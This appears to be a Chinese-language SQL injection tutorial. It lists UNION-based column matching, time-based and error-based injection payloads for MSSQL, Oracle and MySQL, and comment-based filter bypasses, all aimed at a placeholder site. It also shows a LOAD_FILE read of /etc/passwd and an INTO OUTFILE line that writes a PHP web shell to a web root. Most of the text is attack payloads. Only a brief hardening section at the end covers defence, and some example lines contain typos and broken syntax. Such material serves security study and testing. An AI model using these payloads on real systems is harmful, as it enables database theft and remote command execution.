Oracle要求每个SELECT查询都要包含一个FROM属性,因此,如果是Oracle数据库,则要改成如下格式

1
2
3
http://www.a.com/a.asp?id=12 union select null from dual--

-- dual是一个所有用户都能访问的表。

2. 匹配数据类型并读取数据库信息

2.1 匹配数据类型

识别出准确的列后,那么需要寻找需要的数据类型。比如想提取字一个字符串值(数据库用户等),那么则需要数据库类型为字符串的列。通过使用NULL很容易实现。

比如,目标原始查询一共只有4列

1
2
3
4
5
http://www.a.com/a.asp?id=23 union select 'test',NULL,NUll,NUll
http://www.a.com/a.asp?id=23 union select NULL,'test',NUll,NUll
http://www.a.com/a.asp?id=23 union select NULL,NULL,'test',NUll
http://www.a.com/a.asp?id=23 union select NULL,NULL,NUll,'test'

只要查询能顺利执行,不返回错误,则可以知道该值为字符串值,则可以用该字段获取数据库信息。

2.2 获取数据库信息
1
http://www.a.com/a.asp?id=23 union select NULL,system_user,NUll,NUll

通过连接运算法以此获取多个数据。

1
2
3
4
5
SELECT NULL,system_user + '|' + db_name(),NULL,NULL
-- 插入字符串|提高可读性

如:
http://www.a.com/a.asp?id=12 union select null,system_user%2B'|'%2Bdb_name(),NULL,NULL
2.3 强制类型转换

如果要查询的信息不属于字符串或数据类型不匹配,则可以使用强制类型转换,转换为字符串。

[强制类型转换运算符](#5. 强制类型转换)

三、使用条件语句

1. 条件语句介绍

数据库服务器 查询
MSSQL IF(‘a’=’a’) SELECT 1 ELSE SELECT 2
MySQL IF(condition, value_if_true, value_if_false)
Oracle SELECT CASE WHEN ‘a’=’a’ THEN1 ELSE 2 END FROM DUAL
SELECT decode(substr(user,1,1),’A’,1,2) FROM DUAL
PostgreSQL SELECT CASE WHEN(1=1) THEN ‘a’ else ‘b’ END

2.利用条件语句获取数据库信息

2.1 基于时间

使用条件语句利用SQL注入时,第一种方法是基于Web应用响应时间上的差异来获取某些信息的值。

2.1.1 MSSQL
1
2
http://www.a.com/a.asp?id=2;IF (system_user='sa' waitfor delay '0:0:5')--
--如果条件满足,则等待5s
2.2 基于错误
1
2
http://www.a.com/a.asp?id=12/is_srvrolemember('sysadmin')
--is_srvrolemember() 是一个SQLServer T-SQL函数,当用户属于指定的组的时候返回1,否则返回0
1
http://www.a.com/a.asp?id=12%2B(case when (system_user='sa') then 1 else 0 end)
1
2
--字符型注入
http://www.a.com/a.asp?search.asp?brand=ac'%2Bchar(108%2B(case when (system_user = 'sa') then 1 else 0 end))%2B'e

十、文件读取&写入

1. MySQL

1) LOAD_FILE 函数

他能够读取文件并将文件内容作为字符串返回。
需要提供文件的完整路径,调用该函数的用户需要有FILE权限

示例:UNION ALL SELECT LOAD_FULE(‘/etc/passwd’)--

2)INTO OUTFILE 函数

创建系统文件并进行写操作

1
UNION SELECT "<? system($_REQUEST['cmd']; ?)>" INTO OUTFILE "/var/www/html/victim.com/cmd.php" -

0x04 常见的绕过技巧

使用注释绕过过滤
如用多行注释绕过空格

1
http://www.a.com/a.aspx?uid=45/**/or/**/1=1

0x05 SQLi之白盒审计

0x06 常用的测试工具

0x07 SQL修复建议

一、安全的数据库配置

以普通的用户身份运行数据库服务器,而不要使用内置账户来连接数据库(Windows下的Oracle必须以SYSTEM权限运行)。功能强大的内置账户可以在数据库上执行很多与程序需求无关的操作(如:xp_cmdshell; OPENROWSET; LOAD_FILE ; ActiveX Java等)

参考&致谢

【SQL注入攻击与防御(第2版)】

Mysql 执行优先级和sleep函数延时注入的一个Tip

SQL注入速查表(上)

(mysql limit 注入)

w3schools